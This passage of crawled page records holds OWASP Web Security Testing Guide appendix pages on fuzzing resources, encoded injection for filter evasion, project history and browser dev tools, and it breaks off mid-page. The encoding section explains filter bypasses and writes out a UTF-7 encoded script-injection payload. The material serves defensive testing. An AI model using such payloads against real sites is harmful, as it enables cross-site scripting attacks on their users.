4.5](https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines)\n- [Security in the Java platform](https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html)\n- [System Administration, Networking, and Security Institute (SANS)](https://www.sans.org)\n- [Web Application Security Consortium](http://www.webappsec.org/projects/)\n- [Web Application Security Scanner List](http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List)\n- [Web Security – Articles](https://www.acunetix.com/blog/category/web-security-zone/)\n- [Testing Client Side Security issues](http://example.com/)\n\n## Videos\n\n- [PentesterAcademy](https://www.pentesteracademy.com/)\n\n## Deliberately Insecure Web Applications\n\n- [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/)\n- [BadStore](https://www.vulnhub.com/entry/badstore-123,41)\n- [Damn Vulnerable Web App](http://www.dvwa.co.uk/)\n- [Mutillidae](https://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10)\n- [Stanford SecuriBench](https://suif.stanford.edu/~livshits/securibench/)\n- [Vicnum](https://sourceforge.net/projects/vicnum/)\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [WebMaven (better known as Buggy Bank)](https://www.mavensecurity.com/about/webmaven)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6921, "slov": 639, "odkazu": 218, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:37", "sha256": "f4dcf06af412b9bdc8ff637cb02aa83d2ae61cf85984ad76ddf2f9e4afbf6fe2", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf", "https://www.microsoft.com/en-ca/download/details.aspx?id=1330", "https://csrc.nist.gov/publications/sp", "https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf", "https://wiki.owasp.org/index.php/OWASP_Guide_Project", "https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf", "https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.exploitingsoftware.com/", "https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.webhackingexposed.com/", "http://innocentcode.thathost.com/", "https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "https://books.google.com/books?cad=0&id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r", "https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html", "http://www.securingjava.com/", "https://www.us-cert.gov/bsi", "https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards", "https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone", "https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html", "https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was", "https://www.opensourcetesting.org/category/security/", "https://isc.sans.edu/", "http://pentestmonkey.net/cheat-sheet", "https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines", "https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html", "https://www.sans.org/", "http://www.webappsec.org/projects/", "http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List", "https://www.acunetix.com/blog/category/web-security-zone/", "http://example.com/", "https://www.pentesteracademy.com/", "https://www.vulnhub.com/entry/badstore-123,41", "http://www.dvwa.co.uk/", "https://www.irongeek.com/i.php?page=mutillidae%2Fmutillidae-deliberately-vulnerable-php-owasp-top-10", "https://suif.stanford.edu/~livshits/securibench/", "https://sourceforge.net/projects/vicnum/", "https://www.mavensecurity.com/about/webmaven", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/C-Fuzz_Vectors", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/C-Fuzz_Vectors", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/C-Fuzz_Vectors", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Fuzz Vectors"}], "markdown": "# WSTG - v4.2\n\n# Fuzz Vectors\n\nThe following are fuzzing vectors which can be used with [ZAP](https://www.zaproxy.org), [Burp Suite](https://portswigger.net/burp), or another testing tool. [Fuzzing](https://owasp.org/www-community/Fuzzing) is the “kitchen sink” approach to testing the responses of an application to parameter manipulation. Generally, an analyst looks for error conditions or abnormal behaviors that occur in an application as a result of fuzzing.\n\nThe following references are provided as input sources for fuzzing and related testing activities.\n\n- [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)\n- [AwesomeXSS](https://github.com/s0md3v/AwesomeXSS)\n- [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings)\n- [Big List of Naughty Strings](https://github.com/minimaxir/big-list-of-naughty-strings)\n- [Bo0oM Fuzz List](https://github.com/Bo0oM/fuzz.txt)\n- [FuzzDB](https://github.com/fuzzdb-project/fuzzdb)\n- [bl4de Dictionaries](https://github.com/bl4de/dictionaries)\n- [Open Redirect Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)\n- [EdOverflow Bug Bounty Cheat Sheet](https://github.com/EdOverflow/bugbounty-cheatsheet)\n- [Daniel Miessler - SecLists](https://github.com/danielmiessler/SecLists)\n- [XssPayloads Twitter Feed](https://twitter.com/XssPayloads)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1450, "slov": 122, "odkazu": 192, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:38", "sha256": "774df636991036b4524fedc657609e22e164bc8547aa04b86f215f5819f38b6c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://portswigger.net/web-security/cross-site-scripting/cheat-sheet", "https://github.com/s0md3v/AwesomeXSS", "https://github.com/swisskyrepo/PayloadsAllTheThings", "https://github.com/minimaxir/big-list-of-naughty-strings", "https://github.com/Bo0oM/fuzz.txt", "https://github.com/fuzzdb-project/fuzzdb", "https://github.com/bl4de/dictionaries", "https://github.com/cujanovic/Open-Redirect-Payloads", "https://github.com/EdOverflow/bugbounty-cheatsheet", "https://github.com/danielmiessler/SecLists", "https://twitter.com/XssPayloads", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/D-Encoded_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/D-Encoded_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/D-Encoded_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Encoded Injection"}, {"uroven": 2, "text": "Background"}, {"uroven": 2, "text": "Input Encoding – Filter Evasion"}, {"uroven": 2, "text": "Output Encoding – Server & Browser Consensus"}, {"uroven": 3, "text": "Encoded Injections"}, {"uroven": 3, "text": "Basic Encoding"}, {"uroven": 3, "text": "Hex Encoding"}, {"uroven": 3, "text": "UTF-7 Encoding"}, {"uroven": 3, "text": "Multi-byte Encoding"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Encoded Injection\n\n## Background\n\nCharacter encoding is the process of mapping characters, numbers and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to different languages like English, Chinese, Greek or any other known language) into bytes. An example of a widely used character encoding scheme is the American Standard Code for Information Interchange (ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode `UTF-8` and `UTF-16` computing industry standards.\n\nIn the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse. It is being used for encoding malicious injection strings in a way that obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render encoded text.\n\n## Input Encoding – Filter Evasion\n\nWeb applications usually employ different types of input filtering mechanisms to limit the input that can be submitted by the user. If these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a `/` can be represented as `2F` (hex) in ASCII, while the same character (`/`) is encoded as `C0` `AF` in Unicode (2 byte sequence). Therefore, it is important for the input filtering control to be aware of the encoding scheme used. If the filter is found to be detecting only `UTF-8` encoded injections, a different encoding scheme may be employed to bypass this filter.\n\n## Output Encoding – Server & Browser Consensus\n\nWeb browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (`Content-Type`) field, as shown below:\n\n```\nContent-Type: text/html; charset=UTF-8\n```\n\nor through HTML META tag (`META HTTP-EQUIV`), as shown below:\n\n```\n \n```\n\nIt is through these character encoding declarations that the browser understands which set of characters to use when converting bytes to characters. Note that the content type mentioned in the HTTP header has precedence over the META tag declaration.\n\nCERT describes it here as follows:\n\nMany web pages leave the character encoding (`charset` parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to `ISO-8859-1` if it wasn’t defined. In fact, many browsers had a different default, so it was not possible to rely on the default being `ISO-8859-1`. HTML version 4 legitimizes this - if the character encoding isn’t specified, any character encoding can be used.\n\nIf the web server doesn’t specify which character encoding is in use, it can’t tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit `character-encoding` schemes have additional multi-byte representations for special characters such as `<`. Some browsers recognize this alternative encoding and act on it. This is “correct” behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn’t know which byte sequences represent the special characters.\n\nTherefore in the event of not receiving the character encoding information from the server, the browser either attempts to guess the encoding scheme or reverts to a default scheme. In some cases, the user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by the web page (server) and the browser may cause the browser to interpret the page in a manner that is unintended or unexpected.\n\n### Encoded Injections\n\nAll the scenarios given below form only a subset of the various ways obfuscation can be achieved to bypass input filters. Also, the success of encoded injections depends on the browser in use. For example, `US-ASCII` encoded injections were previously successful only in IE browser but not in Firefox. Therefore, it may be noted that encoded injections, to a large extent, are browser dependent.\n\n### Basic Encoding\n\nConsider a basic input validation filter that protects against injection of single quote character. In this case the following injection would easily bypass this filter:\n\n```\n \n```\n\n`String.fromCharCode` JavaScript function takes the given Unicode values and returns the corresponding string. This is one of the most basic forms of encoded injections. Another vector that can be used to bypass this filter is:\n\n```\n \n```\n\nOr by using the respective [HTML character codes](https://www.rapidtables.com/code/text/unicode-characters.html):\n\n```\n \n```\n\nThe above uses HTML Entities to construct the injection string. HTML Entities encoding is used to display characters that have a special meaning in HTML. For instance, `>` works as a closing bracket for a HTML tag. In order to actually display this character on the web page HTML character entities should be inserted in the page source. The injections mentioned above are one way of encoding. There are numerous other ways in which a string can be encoded (obfuscated) in order to bypass the above filter.\n\n### Hex Encoding\n\nHex, short for Hexadecimal, is a base 16 numbering system i.e it has 16 different values from `0` to `9` and `A` to `F` to represent various characters. Hex encoding is another form of obfuscation that is sometimes used to bypass input validation filters. For instance, hex encoded version of the string `` is\n\n```\n \n```\n\nA variation of the above string is given below. Can be used in case ‘%’ is being filtered:\n\n```\n \n```\n\nThere are other encoding schemes, such as Base64 and Octal, that may be used for obfuscation. Although, every encoding scheme may not work every time, a bit of trial and error coupled with intelligent manipulations would definitely reveal the loophole in a weakly built input validation filter.\n\n### UTF-7 Encoding\n\nUTF-7 encoding of\n\n```\n \n```\n\nis as below\n\n`+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`\n\nFor the above script to work, the browser has to interpret the web page as encoded in `UTF-7`.\n\n### Multi-byte Encoding\n\nVariable-width encoding is another type of character encoding scheme that uses codes of varying lengths to encode characters. Multi-Byte Encoding is a type of variable-width encoding that uses varying number of bytes to represent a character. Multi-byte encoding is primarily used to encode characters that belong to a large character set e.g. Chinese, Japanese and Korean.\n\nMultibyte encoding has been used in the past to bypass standard input validation functions and carry out cross site scripting and SQL injection attacks.\n\n## References\n\n- [Encoding (Semiotics)](https://en.wikipedia.org/wiki/Encoding_(semiotics))\n- [HTML Entities](https://www.w3schools.com/HTML/html_entities.asp)\n- [How to prevent input validation attacks](https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks)\n- [Unicode and Character Sets](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7882, "slov": 1198, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:39", "sha256": "221f5e52c61bfb2707c03342bf395b701630890b7fe6f47beb0664375cc4f77b", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.rapidtables.com/code/text/unicode-characters.html", "https://en.wikipedia.org/wiki/Encoding_(semiotics)", "https://www.w3schools.com/HTML/html_entities.asp", "https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks", "https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/E-History", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/E-History", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/E-History", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "History"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "v4 Authors"}, {"uroven": 2, "text": "v4 Reviewers"}, {"uroven": 2, "text": "v3 Authors"}, {"uroven": 2, "text": "v3 Reviewers"}, {"uroven": 2, "text": "v2 Authors"}, {"uroven": 2, "text": "v2 Reviewers"}], "markdown": "# WSTG - v4.2\n\n# History\n\nThe Testing Guide v4 was released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. From 2013 Andrew Muller co-lead the project with Matteo Meucci into 2018/2019. Point releases after v4 and the ramp toward v5 is being lead by Rick Mitchell and Elie Saad.\n\n- April, 2020: OWASP Testing Guide, Version 4.1\n- September, 2014: OWASP Testing Guide, Version 4.0\n- September, 2008: OWASP Testing Guide, Version 3.0\n- December, 2006: OWASP Testing Guide, Version 2.0\n- July, 2004: OWASP Web Application Penetration Checklist, Version 1.1\n- December, 2004: The OWASP Testing Guide, Version 1.0\n\n## Leaders\n\n- Matteo Meucci: OWASP Testing Guide Lead 2007-2020.\n- Andrew Muller: OWASP Testing Guide Lead 2013-2019.\n- Eoin Keary: OWASP Testing Guide Lead 2005-2007.\n- Daniel Cuthbert: OWASP Testing Guide Lead 2003-2005.\n\n## v4 Authors\n\n```\n- Matteo Meucci - Thomas Ryan - Mike Hryekewicz - Eduardo Castellano - Babu Arokiadas\n- Pavol Luptak - Tim Bertels - Simon Bennetts - Simone Onofri - Rob Barnes\n- Marco Morana - Cecil Su - Ray Schippers - Harword Sheen - Ben Walther\n- Giorgio Fedon - Aung KhAnt - Raul Siles - Amro AlOlaqi - Anant Shrivastava\n- Stefano Di Paola - Norbert Szetei - Jayanta Karmakar - Suhas Desai - Colin Watson\n- Gianrico Ingrosso - Michael Boman - Brad Causey - Ryan Dewhurst - Luca Carettoni\n- Giuseppe Bonfà - Wagner Elias - Vicente Aguilera - Zaki Akhmad - Eoin Keary\n- Andrew Muller - Kevin Horvat - Ismael Gonçalves - Davide Danelon - Jeff Williams\n- Robert Winkel - Tom Brennan - David Fern - Alexander Antukh - Juan Manuel Bahamonde\n- Roberto Suggi Liverani - Tomas Zatko - Tom Eston - Thomas Kalamaris - Thomas Skora\n- Tripurari Rai - Juan Galiana Lara - Kevin Horvath - Alexander Vavousis - Irene Abezgauz\n- Robert Smith - Sumit Siddharth - Rick Mitchell - Christian Heinrich - Hugo Costa\n```\n\n## v4 Reviewers\n\n```\n- Davide Danelon - Andrea Rosignoli - Irene Abezgauz\n- Lode Vanstechelman - Sebastien Gioria - Yiannis Pavlosoglou\n- Aditya Balapure\n```\n\n## v3 Authors\n\n```\n- Anurag Agarwwal - Giorgio Fedon - Gianrico Ingrosso - Mark Roxberry\n- Ferruh Mavituna - Antonio Parata - Andrew Van der Stock - Marco Mella\n- Daniele Bellucci - Adam Goodman - Roberto Suggi Liverani - Cecil Su\n- Kevin Horvath - Marco Morana - Harish Skanda Sureddy - Pavol Luptak\n- Matteo Meucci - Stefano Di Paola - Christian Heinrich - Marco Morana\n```\n\n## v3 Reviewers\n\n```\n- Marco Cova - Matteo Meucci - Rick Mitchell\n- Kevin Fuller - Nam Nguyen\n```\n\n## v2 Authors\n\n```\n- Vicente Aguilera - David Endler - Matteo Meucci - Anush Shetty\n- Mauro Bregolin - Giorgio Fedon - Marco Morana - Larry Shields\n- Tom Brennan - Javier Fernández-Sanguino - Laura Nunez - Dafydd Studdard\n- Gary Burns - Andrew van der Stock - Glyn Geoghegan - Gunter Ollmann\n- Luca Carettoni - Sebastien Deleersnyder - Antonio Parata - Ariel Waissbein\n- Dan Cornell - Madhura Halasgikar - Yiannis Pavlosoglou - Jeff Williams\n- Mark Curphey - Eoin Keary - Carlo Pelliccioni - Tushar Vartak\n- Daniel Cuthbert - David Litchfield - Harinath Pudipeddi - Tom Ryan\n- Stan Guzik - Andrea Lombardini - Alberto Revelli - Claudio Merloni\n- Stephen DeVries - Ralph M. Los - Stefano Di Paola - Mark Roxberry\n```\n\n## v2 Reviewers\n\n```\n- Vicente Aguilera - Mauro Bregolin - Daniel Cuthbert - Stefano Di Paola\n- Simona Forti - Eoin Keary - Katie McDowell - Matteo Meucci\n- Antonio Parata - Mark Roxberry - Marco Belotti - Marco Cova\n- Paul Davies - Matteo G.P. Flora - Darrell Groundy - James Kist\n- Marco Mella - Syed Mohamed A. - Alberto Revelli - Dave Wichers\n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3416, "slov": 484, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:41", "sha256": "d0b37a7382e09efdcb923aa230eade33b4bc309739ea29bc44c79d91715c2b95", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/F-Leveraging_Dev_Tools", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/F-Leveraging_Dev_Tools", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/F-Leveraging_Dev_Tools", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Leveraging Dev Tools"}, {"uroven": 2, "text": "Accessing Dev Tools"}, {"uroven": 2, "text": "Capabilities"}, {"uroven": 2, "text": "User-Agent Switching"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Edit/Resend Requests"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Local Storage Editing"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Disable CSS"}, {"uroven": 3, "text": "General"}, {"uroven": 2, "text": "Disable JavaScript"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "View HTTP Headers"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Screenshots"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Offline Mode"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Encoding and Decoding"}, {"uroven": 3, "text": "General"}, {"uroven": 2, "text": "Responsive Design Mode"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Leveraging Dev Tools\n\nThis appendix outlines various details for use of in browser Developer Tool functionality to aid in security testing activities.\n\nObviously in browser functionality is not a substitute for: DAST (Dynamic Application Security Testing) tools, SAST (Static Application Security Testing) tools, or a tester’s experience, however, it can be leveraged for some testing activities and report production related tasks.\n\n## Accessing Dev Tools\n\nOpening Dev Tools can be accomplished in a number of ways.\n\n1. Via the keyboard shortcut `F12` .\n2. Via the keyboard shortcut `ctrl` + `shift` + `i` on Windows.\n3. Via the keyboard short cut `cmd` + `option` + `i` on Mac.\n4. Via the web page right-click context menu and then selecting `Inspect` in Google Chrome.\n5. Via the web page right-click context menu and then selecting `Inspect Element` in Mozilla Firefox.\n6. Via the triple dot ‘kabob’ menu in Google Chrome then selecting `More Tools` and then `Developer Tools` .\n7. Via the triple line ‘hamburger’ (or ‘pancake’) menu in Mozilla Firefox then selecting `Web Developer` and then `Toggle Tools` .\n8. Via the gear icon settings menu in Edge/IE then selecting `Developer Tools` .\n\n> NOTE: The majority of the instructions below assume that Dev Tools is already open or active.\n\n## Capabilities\n\n| Functionality | Chrome* | Firefox | Edge/IE | Safari |\n| --- | --- | --- | --- | --- |\n| User-Agent Switching | Y | Y | Y | Y |\n| Edit/Resend Requests | N | Y | N | N |\n| Cookie Editing | Y | Y | Y | N |\n| Local Storage Editing | Y | Y | Y | N |\n| Disable CSS | Y | Y | Y | Y |\n| Disable JavaScript | Y | Y | N | Y |\n| View HTTP Headers | Y | Y | Y | Y |\n| Screenshots | Y | Y | Y | N |\n| Offline Mode | Y | Y | N | N |\n| Encoding and Decoding | Y | Y | Y | Y |\n| Responsive Design Mode | Y | Y | Y | Y |\n\n`*` Anything that applies to Google Chrome should be applicable to all Chromium based applications. (Which includes Microsoft rebadging Edge around 2019/2020.)\n\n## User-Agent Switching\n\n- [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n\n### Google Chrome\n\n1. Click on triple dot ‘kabob’ menu on the right side of the Developer Tools pane, select `More tools` then select `Network conditions` .\n2. Un-check the “Select automatically” checkbox.\n3. Select the user agent from dropdown menu or enter a custom user agent\n\n*Figure 6.F-1: Google Chrome Dev Tools User-Agent Switching Functionality*\n\n### Mozilla Firefox\n\n1. Navigate to Firefox’s `about:config` page and click `I accept the risk!` .\n2. Enter `general.useragent.override` into the search field.\n3. Look for `general.useragent.override` , if you can’t see this preference, look for one that show a set of radio buttons `Boolean, Number, String` select `String` then click the plus sign `Add` button on the `about:config` page.\n4. Set the value of `general.useragent.override` to whatever [User-Agent](https://developers.whatismybrowser.com/useragents/explore/) you might need.\n\n*Figure 6.F-2: Mozilla Firefox User-Agent Switching Functionality*\n\nLater click on the garbage can `Delete` button to the right of the `general.useragent.override` preference to remove the override and switch back to the default user agent.\n\n## Edit/Resend Requests\n\n- [Authentication Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [Authorization Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [Session Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n- [Input Validation Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)\n- [Business Logic Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)\n\n### Mozilla Firefox\n\n1. Select the `Network` tab.\n2. Perform any action in the web application.\n3. Right-click on the HTTP request from the list and select `Edit and Resend` .\n4. Make desired modifications and click on the `Send` button.\n5. Right-click on the modified request and select `Open in New Tab` .\n\n- [Authentication Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [Authorization Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [Session Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n- [Testing for Cookie Attributes](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n### Google Chrome\n\n1. Click the `Application` tab.\n2. Expand `Cookies` under the `Storage` heading.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n\n> Note: Cookies can be deleted once selected by pressing the `delete` key, or from the right-click context menu.\n\n### Mozilla Firefox\n\n1. Click the `Storage` tab.\n2. Expand the `Cookies` section.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n\n> Note: Cookies can be deleted once selected by pressing the `delete` key, or with various options from the right-click context menu.\n\n*Figure 6.F-3: Mozilla Firefox Cookie Editing Functionality*\n\n## Local Storage Editing\n\n- [Testing Browser Storage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage)\n\n### Google Chrome\n\n1. Click the `Application` tab.\n2. Expand `Local Storage` under the 